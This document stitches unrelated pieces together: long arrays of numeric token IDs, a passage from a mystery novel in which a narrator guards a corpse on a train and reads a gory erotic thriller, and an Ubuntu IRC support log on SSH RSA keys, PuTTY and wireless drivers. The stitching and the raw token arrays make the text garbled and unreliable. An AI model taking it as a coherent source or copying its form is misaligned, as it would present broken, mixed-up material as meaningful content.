9095, 1066, 15, 6279, 13, 795, 16212, 1170, 285, 10871, 272, 4414, 187, 187, 4015, 18197, 619, 896, 1411, 253, 3402, 13, 309, 39214, 598, 253, 1984, 3835, 15, 2951, 14743, 13, 275, 3139, 15, 329, 3416, 275, 2502, 16269, 13, 247, 4370, 23966, 1475, 617, 7623, 285, 247, 34203, 275, 617, 1133, 15, 329, 637, 434, 16867, 2133, 369, 2716, 14, 19057, 275, 20586, 13, 253, 5253, 273, 247, 7154, 3497, 327, 253, 5254, 10151, 15, 187, 187, 42, 3261, 1475, 15457, 1031, 13, 751, 309, 369, 13265, 285, 4361, 253, 2393, 6200, 275, 27264, 367, 7958, 80, 434, 795, 510, 2656, 13453, 64, 1157, 835, 11832, 5134, 285, 253, 1308, 1487, 50147, 1051, 973, 13, 368, 871, 15, 309, 25363, 281, 253, 1735, 3239, 15, 2053, 299, 14, 1088, 398, 497, 1270, 1108, 16397, 13, 8637, 13, 795, 395, 64, 597, 4571, 626, 26187, 2965, 1527, 281, 253, 42028, 7223, 368, 1849, 1239, 15, 1244, 294, 1088, 15, 187, 187, 510, 806, 8857, 369, 247, 2257, 273, 873, 14, 484, 15, 309, 14076, 939, 264, 13, 42163, 253, 21434, 281, 36811, 6386, 15, 187, 187, 64, 47027, 5485, 253, 3369, 13, 8958, 752, 703, 3078, 533, 417, 604, 703, 574, 253, 11083, 281, 1379, 352, 15, 754, 369, 10776, 327, 253, 3722, 10268, 253, 3497, 13, 521, 4808, 1289, 382, 2980, 275, 253, 46826, 15, 380, 5024, 273, 253, 3168, 8335, 4950, 521, 5882, 13, 16867, 1289, 2279, 15, 13593, 3078, 1108, 703, 26426, 3058, 1108, 281, 1408, 617, 9881, 2112, 253, 6970, 273, 731, 3333, 187, 187, 64, 1909, 13593, 4925, 562, 13, 253, 637, 391, 24695, 15, 2951, 2784, 896, 13, 703, 9047, 432, 253, 20586, 347, 344, 14436, 4830, 521, 896, 13, 10430, 253, 8335, 37032, 281, 253, 5254, 3333, 187, 187, 64, 47027, 4829, 39787, 33454, 15, 1500, 4395, 3579, 13, 6179, 323, 779, 281, 16359, 1078, 703, 1339, 617, 29584, 12345, 5181, 13, 30749, 521, 1364, 2679, 285, 11233, 15, 380, 6970, 273, 253, 7623, 46891, 281, 521, 13386, 3333, 187, 187, 64, 1044, 438, 14, 394, 438, 13, 289, 438, 14, 394, 438, 13, 289, 438, 1051, 64, 187, 187, 64, 510, 10724, 8423, 6331, 762, 617, 48803, 3333, 187, 187, 64, 12309, 14050, 13, 13593, 10090, 617, 1133, 6507, 1411, 521, 9081, 15, 1500, 369, 33632, 1024, 13, 281, 1928, 1633, 13, 2712, 3304, 3333, 187, 187, 64, 34, 892, 12216, 15, 3105, 3240, 247, 7171, 13, 625, 247, 1051, 2500, 2682, 32, 7243, 13, 7019, 13, 1264, 2069, 15, 733, 8899, 10046, 285, 840, 10046, 969, 13, 29116, 715, 247, 19407, 1078, 41203, 281, 18783, 896, 327, 3139, 13, 294, 4399, 272, 281, 5492, 7938, 13, 13590, 2584, 247, 16907, 19455, 36098, 68, 10081, 3333, 187, 187, 64, 5872, 13, 816, 347, 13593, 1869, 617, 1211, 9081, 651, 12948, 13, 521, 858, 15, 378, 953, 273, 4408, 285, 25548, 6821, 12376, 4830, 253, 3497, 41288, 13, 41203, 281, 278, 33202, 342, 253, 9313, 6126, 1170, 1066, 253, 3345, 273, 253, 5253, 3333, 187, 187, 64, 47027, 2918, 617, 1133, 598, 275, 2914, 273, 617, 13, 2820, 281, 2096, 752, 574, 816, 4592, 15, 14169, 285, 1633, 5026, 285, 3168, 6107, 617, 9881, 3333, 187, 187, 64, 34, 4866, 7270, 13593, 434, 5130, 15, 1500, 3261, 1066, 715, 253, 637, 434, 1527, 9081, 285, 1051, 352, 3261, 896, 387, 617, 3333, 187, 187, 64, 34, 15548, 15, 7900, 20681, 28753, 434, 2798, 943, 320, 3333, 187, 187, 817, 4392, 3027, 25090, 14, 11147, 187, 187, 8, 28412, 1977, 432, 253, 2963, 249, 555, 990, 11388, 309, 28435, 13, 619, 1481, 10805, 896, 1411, 253, 3402, 13, 31582, 479, 15, 187, 187, 24397, 1475, 13, 309, 13308, 323, 619, 1211, 2798, 281, 16359, 896, 715, 619, 9081, 15, 4146, 25037, 21986, 275, 432, 253, 8323, 407, 253, 20229, 487, 1657, 3369, 285, 309, 812, 4089, 15547, 1108, 604, 417, 39567, 13, 387, 1878, 45462, 314, 9338, 1108, 275, 253, 15828, 1113, 4457, 15, 187, 187, 40942, 13, 309, 1871, 11522, 745, 285, 7303, 281, 13398, 776, 1655, 4112, 285 ]	I figured Audra agreed to introduce me because she was grateful for my help.' 'Your help?' 'Sure. We bonded when I took her to the club car after she nearly shot that guy.' Boyce, standing guard over Potter's already cold body. On the other hand, sweat was beading on Danny's upper lip. 'Shit. I hope she didn't get that idea. I mean, Audra's awfully old and this is a sex book.' I opened my mouth to inform the little twerp that even a woman of Audra's advanced age, which I judged to be early forties, still had sex. And then I remembered she apparently didn't. At least, not with her husband. Back in the sleeping car, I unfolded the stool and situated it across from the door of the roomette where Potter's body lay. Sitting down, I tried to figure out what to do with the pistol. On the floor, it was too far away from me to easily reach. Maybe I'd just sit on the floor next to it. Though I'd wasted ten minutes of my life going back to get the stool, at least my conversation with Danny had been enlightening. If the kid was to be believed, he'd achieved everything he'd wanted when he'd set foot on the bus: not only was there no book forthcoming from Potter and Edmonds, but he'd secured a literary agent. According to Danny, the initial contact with Carson had been via email – almost certainly the accusatory message Carson had mentioned. Then, in gratitude for Danny's aid during this so-called bonding opportunity he had 'lucked into,' Audra had introduced aspiring writer to agent. Carson hadn't yet been approached by Danny when Pavlik and I met with the literary agent in the dining car but, given his suspicions of the kid, wouldn't it have made sense to inform us of this new development? Maybe the germaphobe's hands weren't quite as clean as he'd like people to believe. I shivered, suddenly very glad Pavlik had suggested I camp out in the sleeping car, even if its only other occupant was a corpse. Or maybe because of that. Moving the stool out of the way, I decided the best place to sit was with my back against the wall of the roomette across the narrow corridor from Potter's – this despite the nasty smells not quite contained inside. But this way, at least, I could comfortably keep a peripheral eye on that door as well as the outside exit and the doors leading to the passenger car. But first... Gun ready in my hand, I slid open the door across from Potter's, clearing that roomette as Pavlik and Boyce had. The space was empty, of course. Once I checked that one, though, I felt like I had to do the others, just to be sure. I went down one side of the car and into both shower rooms, my still-damp sandals echoing on the tiles. Then I worked my way back up to the space where Potter's body lay. I slid open the door and, holding my breath, stepped over the two frosting smudges and into the room. Potter was on the bunk, of course, faced away from me like he was still just napping. I tiptoed nearer, still trying not to breathe, and— 'Maggy?' I jumped back and turned, raising the gun, which was now moving in sync with my shaking hand. 'Holy shit, Missy! You scared me to death. What are you doing in here?' Missy looked hurt. 'Well, I knocked on the door to give you this, but I didn't hear any answer.' She was holding out an e-reader. 'I've got a ton of books loaded on it and I figured it would help you pass the time. Oh, and I also put a "Keep Out" sign on the other side of the door.' My heart-rate descended toward quasi-normality. 'Thanks, Missy – that's very nice of you.' I took the reader. 'And I'm sorry I yelled. And, well, almost shot you. I must have been at the other end of the car checking the showers when you knocked.' 'No, I'm the one who should be sorry,' Missy said, her eyes welling up. 'But when you didn't answer, I was worried.' 'I appreciate that. I was just making sure everything was secure.' She glanced over at the bunk, her nose wrinkling and her next words a little strangled. 'Can we get out of here?' 'With pleasure.' I let her precede me out the door. 'And thank you again.' I held up the e-reader. Missy smiled. 'You're welcome. Come to the door and call out if you need anything.' 'I will. Thanks.' As she turned away, I couldn't resist saying, 'I noticed you talking with Pete. He seems like a nice guy.' Unlike Danny. 'And really good-looking.' 'I suppose, but too young. And a waiter.' My, my, but the younger generation was picky. 'Everyone has to start somewhere.' Missy sniffed. 'His real name is Brandon. I saw him at the restaurant last week and asked if he'd like to earn some extra money.' 'That was smart.' 'You're telling me. You know how much it costs to hire a professional bartender? And I bought all the liquor at Costco.' You had to give the woman credit. She knew how to stretch a dollar. I hoped it wouldn't come back to bite her in the form of lawsuits by the passengers on the train and even the train company itself. Which was another reason I'd wanted out of event planning: the liability if something went awry. At least I'd been bonded and had a corporation standing behind me. If I were Missy, I wouldn't expect a whole lot of support from Zoe. After the young woman left, I settled onto the floor. Propping the gun against my right thigh, I picked up her e-reader. She wasn't kidding about the books. A ton of them and, in the mix, some of Rosemary Darlington's. Including... I scrolled down. Yes, _Breaking and Entering_. Leaning my back against the wall, I punched up the book cover. Steamy, in itself. A woman in red leather, a dog collar around her neck and a whip in her hand. A man's naked body was half-hidden in shadows, the glass of a broken window on the floor nearby. I looked around guiltily, like I was twelve and reading the early scene in Mario Puzo's _The Godfather_, where Sonny and the bridesmaid... well, you know. I clicked to the next page. These e-readers were great – convenience, discretion, _and_ they couldn't accidentally fall open to the spicy pages you've read. And reread. The first chapter was a lot of set-up. I yawned, resisting the urge to peek ahead. _Kat opened the door, knowing what she wanted but not if she had the nerve to take it. He was lying on the bed facing the window, his skin glistening in the moonlight. The edge of the white sheet revealed his firm, naked glutes. Kat wanted – she desperately needed – to run her fingers along the curve of them._ _As Kat reached out, the man roused. Stepping back, she watched from the shadows as he rolled onto his back, sending the sheet slipping to the floor._ _Kat nearly gasped aloud. She moved forward, waiting for him to settle before she let her nails barely touch, tracing his mustache and lips. The curve of the neck cords to his throat._ _Thud-thud, thud-thud, thud..._ _The pulse suddenly stopped under her fingertips._ _Panicked, Kat laid her hand flat against his chest. She was praying now, to feel something, anything inside._ _A flutter. Not quite a beat, more a... twitch? Once, twice, three times. It grew stronger and then stronger again, settling into a rhythm before seeming to coil back on itself, regrouping to race faster, heading toward a seemingly inevitable crescendo._ _Then, just as Kat thought her own chest would burst, his did. Bits of tissue and cartilage splattered onto the window pane, seeming to mingle with the rain streaking down the outside of the glass._ _Kat held her hand up in front of her, trying to understand what had just happened. Blood and something thick and white covered her fingers._ _A movement caught Kat's eye. She looked down into the man's open chest and... it looked back at her._ _A python. Where Larry Potter's heart should be._ ## THIRTY-ONE 'Stay away from the pointy end!' I yelled, my head falling back against the wall, waking me. Looking around, I waited for my own heart to settle back into my chest. Sunshine poured in from the windows by the vestibule door and I could hear voices – if not cheerful, at least reassuringly alive – in the passenger car beyond. Apparently, I'd nodded off and managed to combine our current situation and
[ 352, 5605, 479, 281, 2412, 562, 285, 896, 275, 639, 2284, 187, 29, 63, 2641, 25417, 63, 31, 295, 187, 29, 63, 2641, 25417, 63, 31, 594, 13, 1308, 67, 187, 29, 36036, 2501, 31, 42151, 47701, 1508, 2597, 13, 12506, 973, 840, 521, 2316, 366, 29774, 352, 1051, 1163, 37, 187, 29, 248, 1870, 31, 891, 10369, 1053, 626, 923, 2139, 952, 17805, 670, 21126, 187, 29, 81, 1205, 47701, 1508, 2597, 31, 19779, 2501, 13, 6296, 187, 29, 41, 9623, 507, 11917, 31, 42151, 47701, 1508, 2597, 13, 28763, 11755, 1163, 49, 187, 29, 248, 1870, 31, 512, 952, 513, 1024, 310, 20183, 253, 8573, 6571, 285, 21126, 476, 513, 326, 187, 29, 36036, 2501, 31, 42151, 47701, 1508, 2597, 13, 309, 1379, 352, 627, 369, 690, 896, 285, 6593, 627, 1051, 1163, 37, 187, 29, 7083, 1225, 18, 13838, 31, 26013, 1060, 871, 670, 13279, 1200, 285, 391, 6678, 10149, 32, 187, 29, 35270, 14, 12707, 31, 344, 1870, 13, 418, 3788, 48, 187, 29, 35270, 14, 12707, 31, 340, 554, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 10902, 187, 29, 81, 1205, 47701, 1508, 2597, 31, 288, 9623, 507, 11917, 13, 10902, 841, 767, 403, 1900, 2509, 11339, 1841, 281, 1016, 643, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 871, 670, 1051, 7955, 1727, 327, 849, 1199, 2508, 368, 1599, 15, 187, 29, 81, 1205, 47701, 1508, 2597, 31, 19779, 2501, 13, 12506, 4754, 1107, 285, 1107, 4409, 187, 29, 36036, 2501, 31, 23385, 187, 29, 41, 9623, 507, 11917, 31, 42151, 47701, 1508, 2597, 13, 6569, 247, 2257, 9418, 187, 29, 35270, 14, 12707, 31, 32899, 559, 391, 6678, 18207, 3477, 2990, 16164, 16, 3866, 272, 187, 29, 248, 1870, 31, 352, 2789, 479, 10279, 984, 597, 1158, 625, 1612, 18207, 1805, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 973, 309, 717, 2820, 281, 755, 619, 32899, 281, 789, 342, 391, 6678, 10149, 347, 326, 2789, 352, 625, 7895, 3451, 32, 187, 29, 78, 1109, 266, 9884, 18793, 13, 309, 1353, 247, 2264, 295, 361, 67, 672, 352, 3249, 281, 14425, 1051, 42, 20582, 898, 15, 2125, 285, 908, 253, 3153, 2428, 281, 3334, 281, 247, 10299, 4446, 1051, 309, 4272, 352, 275, 767, 7118, 537, 531, 310, 495, 14349, 84, 323, 253, 9485, 13, 285, 581, 310, 608, 14349, 84, 323, 5718, 1051, 9846, 436, 29227, 40614, 5321, 281, 253, 5718, 347, 973, 347, 7533, 285, 5659, 309, 8038, 32, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 4754, 326, 1057, 187, 29, 248, 1870, 31, 533, 697, 760, 10571, 2032, 13, 1175, 12425, 310, 1175, 187, 29, 41, 9623, 507, 11917, 31, 752, 310, 253, 1895, 32, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 4754, 13, 352, 1057, 13, 594, 2296, 253, 2087, 13969, 432, 752, 309, 1849, 3735, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 309, 452, 6337, 32899, 14, 2364, 1541, 428, 85, 391, 6678, 428, 67, 27744, 23, 285, 3562, 253, 10149, 327, 619, 13520, 985, 187, 29, 41, 9623, 507, 11917, 31, 2195, 34164, 187, 29, 32334, 31, 41728, 310, 253, 46251, 7840, 437, 7241, 15, 2594, 5987, 1358, 13070, 15, 5646, 15, 681, 16, 24925, 16, 3528, 41, 2347, 936, 323, 10393, 15, 9272, 555, 310, 247, 5322, 41728, 5268, 323, 7464, 28, 352, 476, 320, 1119, 387, 3944, 1358, 2700, 15, 4635, 782, 15, 11707, 423, 15, 2061, 15, 2788, 32395, 84, 7332, 46621, 16, 1065, 555, 16, 187, 29, 81, 1205, 47701, 1508, 2597, 31, 891, 17500, 564, 4130, 2312, 281, 368, 1996, 187, 29, 90, 319, 41386, 31, 1057, 3780, 1060, 871, 849, 281, 1056, 1269, 1403, 18698, 5321, 3492, 281, 247, 2014, 1873, 32, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 733, 1691, 374, 4367, 327, 619, 1728, 14035, 285, 309, 4395, 731, 281, 253, 964, 34164, 11534, 2568, 672, 309, 564, 281, 16164, 327, 619, 8323, 3817, 342, 1691, 555, 352, 760, 1642, 323, 619, 2622, 16164, 187, 29, 35270, 14, 12707, 31, 891, 751, 14604, 20477, 559, 17899, 15439, 559, 1691, 555, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 309, 369, 1563, 253, 7997, 1060, 5987, 1358, 13070, 15, 5646, 15, 681, 16, 24925, 16, 42378, 9807, 3528, 41, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 368, 452, 281, 1691, 581, 2234, 327, 253, 2303, 5145, 285, 1978, 253, 643, 1980, 15, 187, 29, 35270, 14, 12707, 31, 2789, 20893, 275, 2439, 10104, 1199, 6927, 187, 29, 336, 2188, 293, 31, 288, 78, 187, 29, 35, 300, 536, 2993, 78, 31, 8452, 40724, 253, 637, 448, 853, 32, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 1113, 9357, 9623, 310, 987, 187, 29, 7083, 1225, 18, 13838, 31, 1113, 9357, 9623, 13, 2119, 533, 943, 2649, 672, 309, 564, 281, 16164, 342, 1691, 555, 1642, 323, 253, 2234, 32, 187, 29, 248, 1870, 31, 3343, 403, 359, 5015, 670, 637, 30, 39842, 7223, 32, 187, 29, 248, 1870, 31, 390, 751, 637, 30, 13961, 32, 187, 29, 7083, 1225, 18, 13838, 31, 1113, 9357, 9623, 13, 285, 417, 1581, 479, 281, 16164, 1293, 352, 32, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 326, 434, 247, 6661, 327, 253, 2303, 32899, 64, 5397, 187, 29, 75, 6934, 3079, 31, 3780, 871, 849, 309, 476, 19495, 253, 12077, 1269, 2061, 3596, 981, 8220, 187, 29, 7083, 1225, 18, 13838, 31, 1113, 9357, 9623, 13, 388, 9623, 507, 11917, 309, 1160, 2119, 281, 10007, 253, 32899, 69, 64, 5397, 1873, 187, 29, 55, 25630, 31, 7306, 1225, 18, 13838, 13, 368, 878, 281, 6455, 253, 12605, 561, 1200, 2234, 281, 247, 1691, 555, 3055, 2234, 1873, 313, 377, 76, 1873, 582, 285, 840, 1127, 1691, 555, 2584, 352, 15, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 752, 1057, 32899, 69, 64, 5397, 1007, 751, 352, 32, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 309, 1353, 7016, 13, 309, 5486, 253, 2303, 32899, 69, 64, 5397, 187, 29, 89, 63, 3211, 63, 89, 31, 355, 80, 187, 29, 248, 1870, 31, 355, 80, 187, 29, 90, 319, 41386, 31, 973, 436, 1537, 320, 629, 273, 619, 1895, 1269, 1403, 18698, 310, 327, 577, 89, 2568, 13520, 760, 556, 598, 281, 495, 15, 2222, 275, 253, 30905, 187, 29, 41, 9623, 507, 11917, 31, 2195, 23164, 4805, 1040, 13035, 18, 13838, 187, 29, 32334, 31, 13035, 18, 13838, 27, 15596, 4805, 310, 247, 2579, 281, 1501, 2709, 14, 12490, 17438, 594, 368, 1053, 626, 10802, 253, 5048, 15, 380, 14425, 15596, 4805, 310, 387, 3944, 1358, 23164, 15, 5646, 15, 681, 313, 11145, 2119, 368, 1918, 441, 253, 10611, 323, 634, 15596, 428, 923, 671, 253, 5048, 9400, 10, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 1113, 9357, 9623, 3944, 1358, 32628, 466, 15, 2061, 16, 30176, 9519, 187, 29, 4614, 895, 263, 18, 31, 32063, 1240, 18963, 187, 29, 48079, 13182, 31, 14260, 13, 516, 2820, 281, 4352, 20850, 1056, 13, 285, 516, 2970, 247, 2228, 2391, 516, 2509, 436, 1232, 5987, 1358, 13070, 15, 5646, 15, 681, 16, 24925, 16, 31189, 2290, 276, 9143, 73, 22933, 19517, 18747, 2593, 187, 29, 63, 2641, 25417, 63, 31, 8261, 187, 29, 4614, 895, 263, 18, 31, 846, 10805, 896, 327, 271, 1711, 17440, 13, 604, 891, 513, 891, 88, 3550, 891, 476, 923, 512, 253, 11744, 2036, 319, 83, 661, 275, 619, 2170, 2, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 858, 368, 19855, 32899, 69, 32, 187, 29, 4614, 895, 263, 18, 31, 19235, 13, 891, 476, 626, 923, 731, 275, 2990, 7205, 285, 891, 476, 626, 4684, 187, 29, 4614, 895, 263, 18, 31, 667, 5697, 32, 187, 29, 63, 2641, 25417, 63, 31, 5111, 1051, 187, 29, 63, 2641, 25417, 63, 31, 352, 43303, 598, 2761, 3253, 187, 29, 4614, 895, 263, 18, 31, 891, 88, 3550, 1218, 17, 660, 66, 2987, 2, 187, 29, 4614, 895, 263, 18, 31, 11017, 11, 187, 29, 7083, 1225, 18, 13838, 31, 388, 9623, 507, 11917, 13, 4754, 604, 368, 1599, 20850, 1227, 14069, 16, 4478, 15, 69, 16, 34164, 19855, 187, 29, 63, 2641, 25417, 63, 31, 512, 253, 3148, 2538, 403, 4783, 187, 29, 41, 9623, 507, 11917, 31, 32899, 69, 19855, 187, 29, 7083, 1225, 18, 13838, 31, 1113, 9357, 9623, 13, 672, 368, 1333, 2303, 368, 1599, 253, 985, 309, 717, 12873, 1512, 987, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 4754, 15, 417, 9106, 2119, 13, 533, 5604, 3133, 751, 368, 943, 417, 452, 26703, 9604, 38305, 4754, 15, 187, 29, 63, 2641, 25417, 63, 31, 12506, 285, 2716, 273, 352, 310, 327, 253, 23055, 313, 249, 2806, 285, 3168, 10, 285, 2716, 273, 352, 310, 327, 253, 16556, 3601, 187, 29, 4065, 900, 365, 31, 14260, 627, 309, 452, 1160, 253, 3332, 2715, 15047, 432, 1049, 21704, 533, 309, 1335, 452, 271, 2523, 342, 253, 327, 4450, 3066, 3492, 11291, 1178, 835, 407, 309, 651, 4665, 326, 253, 3601, 310, 417, 31255, 672, 309, 2118, 8323, 670, 390, 672, 309, 897, 253, 14084, 2534, 275, 667, 2898, 15, 1680, 627, 690, 1039, 309, 476, 11322, 436, 32, 187, 29, 41, 9623, 507, 11917, 31, 13035, 18, 13838, 13, 671, 440, 13982, 1852, 14897, 1025, 25076, 4505, 186, 6, 73, 14206, 34164, 16, 24463, 64, 12305, 187, 29, 63, 2641, 25417, 63, 31, 1308, 67, 187, 29, 89, 2435, 66, 31, 1067, 900, 365, 27, 513, 368, 452, 271, 9806, 3492, 3120, 7974, 12402, 187, 29, 1473, 30399, 7232, 31, 1067, 900, 365, 13, 368, 476, 3164, 3490, 253, 3492, 6254, 281, 18287, 66, 604, 352, 434, 3515, 346, 13917, 995, 533, 352, 1833, 3164, 1056, 3045, 7197, 533, 4993, 1841, 187, 29, 4065, 900, 365, 31, 1269, 2435, 66, 27, 642, 352, 310, 271, 40791, 3066, 21477, 532, 1178, 8527, 3492, 187, 29, 4614, 895, 263, 18, 31, 891, 1353, 2221, 2810, 15844, 891, 88, 3550, 1218, 17, 11017, 2722, 512, 85, 344, 6928, 559, 619, 23093, 275, 253, 2170, 13, 752, 1057, 326, 1599, 32, 352, 2097, 11744, 2987, 987, 32, 187, 29, 4614, 895, 263, 18, 31, 533, 891, 476, 626, 4684, 281, 352, 13, 5046, 891, 816, 878, 281, 14932, 619, 23093, 13, 187, 29, 1473, 30399, 7232, 31, 352, 2097, 368, 476, 11017, 1985, 895, 263, 18, 187, 29, 1473, 30399, 7232, 31, 534, 2097, 629, 273, 253, 6254, 310, 2444, 24457, 187, 29, 41, 9623, 507, 11917, 31, 1985, 895, 263, 18, 13, 4754, 352, 2097, 11744, 476, 789, 187, 29, 5546, 9357, 9623, 31, 13035, 18, 13838, 27, 671, 13, 1053, 626, 1158, 368, 971, 7890, 49, 2300, 4754, 13, 984, 326, 434, 849, 19676, 1411, 13492, 441, 1808, 1443, 6569, 13, 309, 2868, 15, 187, 29, 41, 9623, 507, 11917, 31, 1113, 9357, 9623, 13, 352, 310, 4754, 187, 29, 282, 909, 7352, 4529, 31, 14260, 512, 187, 29, 41, 9623, 507, 11917, 31, 1113, 9357, 9623, 13, 923, 1386, 10484, 352, 2296, 897, 49, 312, 4754, 187, 29, 41, 9623, 507, 11917, 31, 458, 909, 7352, 4529, 13, 18981, 187, 29, 5546, 9357, 9623, 31, 388, 9623, 507, 11917, 27, 987, 13, 326, 434, 752, 309, 1599, 187, 29, 4614, 895, 263, 18, 31, 419, 3227, 187, 29, 282, 909, 7352, 4529, 31, 812, 3095, 2028, 479, 849, 4095, 755, 616, 10865, 10607, 285, 5017, 8220, 50276, 74, 1900, 1869, 352, 369, 751, 436, 27, 10295, 34472, 2813, 2879, 13, 4245, 18198, 1173, 752, 352, 6057, 13, 18198, 1173, 2789, 7632, 13, 285, 771, 856, 12133, 253, 4569, 10865, 187, 29, 282, 909, 7352, 4529, 31, 533, 840, 891, 3047, 253, 353, 25517, 795, 45767, 64, 2234, 187, 29, 282, 909, 7352, 4529, 31, 275, 18198, 1173, 187, 29, 4614, 895, 263, 18, 31, 277, 2320, 555, 7232, 27, 594, 891, 476, 626, 4684, 281, 619, 2990, 13, 667, 5697, 752, 281, 513, 1735, 32, 619, 29227, 3548, 626, 787, 10274, 4759, 187, 29, 282, 909, 7352, 4529, 31 ]	it wants me to log out and back in agai <^Phantom^> n <^Phantom^> so, brb <swiftarrow> penguins2387, oh well then his roomate deserved it... :D <hector> i seriously don't see why people complain about linux <penguins2387> swiftarrow, indeed <Hiemanshu> penguins2387, thats funny :P <hector> all people do now is surf the internet mostly and linux can do that <swiftarrow> penguins2387, I take it there was some back and forth there... :D <crash1hd> Anyone here know about openssh and rsa keys? <orange-wedge> hector, LMAO <orange-wedge> yep <Hiemanshu> crash1hd, yeah <penguins2387> hiemanshu, yeah these two are always doing stupid things to each other <carpediem> crash1hd: know about...depends on how much detail you mean. <penguins2387> swiftarrow, oh yes years and years worth <swiftarrow> lol <Hiemanshu> penguins2387, happens a lot :) <orange-wedge> ssh + rsa equals easy network login/scripting <hector> it makes me mad because they think more power equals better <crash1hd> Hiemanshu, carpediem well I am trying to get my ssh to work with rsa keys as that makes it more secure correct? <mrman_> Hey, I'm a total n00b when it comes to Ubuntu...I downloaded 9.04 and used the livecd to install to a flash drive... I divided it in two sections..one is 3 gigs for the OS, and one is 5 gigs for storage...will this usbUbuntu save to the storage as well as settings and programs I installed? <Hiemanshu> crash1hd, yes that does <hector> but its only partially true, good coding is good <Hiemanshu> what is the problem? <carpediem> crash1hd: yes, it does, so says the general consensus from what I've heard <crash1hd> Hiemanshu, carpediem I have ran ssh-keygen -t rsa -b 4096 and created the keys on my ubuntu system <Hiemanshu>!ssh <ubottu> SSH is the Secure SHell protocol. See https://help.ubuntu.com/community/SSHHowto for usage. Putty is a nice SSH client for Windows; it can be found at http://www.chiark.greenend.org.uk/~sgtatham/putty/ <penguins2387> i gotta go everyone talk to you later <yowshi> does anyone here know how to make xawtv save video to a single file? <crash1hd> Hiemanshu, carpediem It put 2 files on my home dir and I moved them to the.ssh folder yet when I go to login on my windows box with putty it only ask for my normal login <orange-wedge> i like batch scripts + google desktop + putty <crash1hd> Hiemanshu, carpediem I was following the instructions here https://help.ubuntu.com/community/AdvancedOpenSSH <carpediem> crash1hd: you have to put one key on the target machine and keep the other local. <orange-wedge> makes logging in across profiles much easier <cemmel> hm <BilokShem> Who eats the man chode? <Hiemanshu> crash1hd, carpediem is right <crash1hd> carpediem, sure but shouldnt when I go to login with putty ask for the key? <hector> wait are we talking about man=manual pages? <hector> or like man=human? <crash1hd> carpediem, and not allow me to login without it? <carpediem> crash1hd: that's a configuration on the target ssh_config <josh43> anyone know how I can disable the automatic xorg configuring?? <crash1hd> carpediem, Hiemanshu I made sure to modify the sshd_config file <Vatie> Crash1hd, you need to convert the Openssh key to a putty private key file (ppk file), and then point putty toward it. <Hiemanshu> crash1hd, what does sshd_config look like it? <carpediem> crash1hd: I'm sorry, I meant the target sshd_config <x^code^x> alo <hector> alo <yowshi> well this might be part of my problem xawtv is on 4x yet ubuntu only has up to 3.95 in the repo <Hiemanshu>!pastebin \| crash1hd <ubottu> crash1hd: pastebin is a service to post multiple-lined texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu.com (make sure you give us the URL for your paste - see also the channel topic) <crash1hd> Hiemanshu, carpediem http://pastie.org/475250 <radixor1> woah!!!! <jaypur> hi, im trying to hit sudo make, and im getting a error.... im doing this process https://help.ubuntu.com/community/SoundTroubleshooting HP dx section <^Phantom^> okay <radixor1> after falling back on an olddriver, if i do iwlist i can see all the wireless netowrks in my area! <Hiemanshu> crash1hd, did you restart sshd? <radixor1> unfortunately, i can't see them in network manager and i can't connect <radixor1> any ideas? <^Phantom^> um... <^Phantom^> it messed up almost everything <radixor1> iwlist ra0 sca works! <radixor1> scan* <crash1hd> Hiemanshu, yes if you mean sudo /etc/init.d/ssh restart <^Phantom^> all the display effects are gone <Hiemanshu> sshd restart <crash1hd> carpediem, when you say target you mean the system I am connecting too right <carpediem> crash1hd: yes. not totally sure, but certainly seems like you should not have ChallengeResponseAuthentication yes. <^Phantom^> oh and half of it is on the tv (in black and white) and half of it is on the laptop screen <calliope> hi there I have made the recent version upgrade from april but I still have an issue with the on board via video chipset where by I would interpret that the screen is not refreshing when I move windows about or when I use the scroll bar in any application. Is there some way I can resolve this? <Hiemanshu> crash1hd, also uncomment #AuthorizedKeysFile %h/.ssh/authorized_keys <^Phantom^> brb <xangua> calliope: do you have an intel video cardÂ¿ <daftykins> calliope, you can probably force the video driver to vesa if it's running "via", but it'll probably make performance worse but fix things <calliope> xangua: no it is an onboard via chiipset integrated video <radixor1> i'm super close!!! iwlist ra0 scan shows allt he networks + my router in the area, what does that mean? it means wireless works right? <radixor1> but i can't connect to it, maybe i just need to reset my router, <daftykins> it means you can scan radixor1 <daftykins> which means part of the driver is working ;) <Hiemanshu> radixor1, yes it means wireless can work <carpediem> crash1hd: also, don't think you want UsePAM yes, because that's how authentication against Linux usernames happens, I believe. <Hiemanshu> carpediem, it is yes <leeguy92> hi all <Hiemanshu> carpediem, see line 77 it says usePam yes <Hiemanshu> leeguy92, hey <carpediem> Hiemanshu: right, that's what I mean <radixor1> haha <leeguy92> could someone tell me how devices get their drivers loaded and stuff?? i always thought it was like this: kernel detects device added, gives udev what it knows, udev makes nodes, and modprobes the appropriate drivers <leeguy92> but then i saw the MODULE _matching_ key <leeguy92> in udev <radixor1> daftykins: so i can't connect to my network, any ideas what to do next? my usb isn't blinking green <leeguy92>
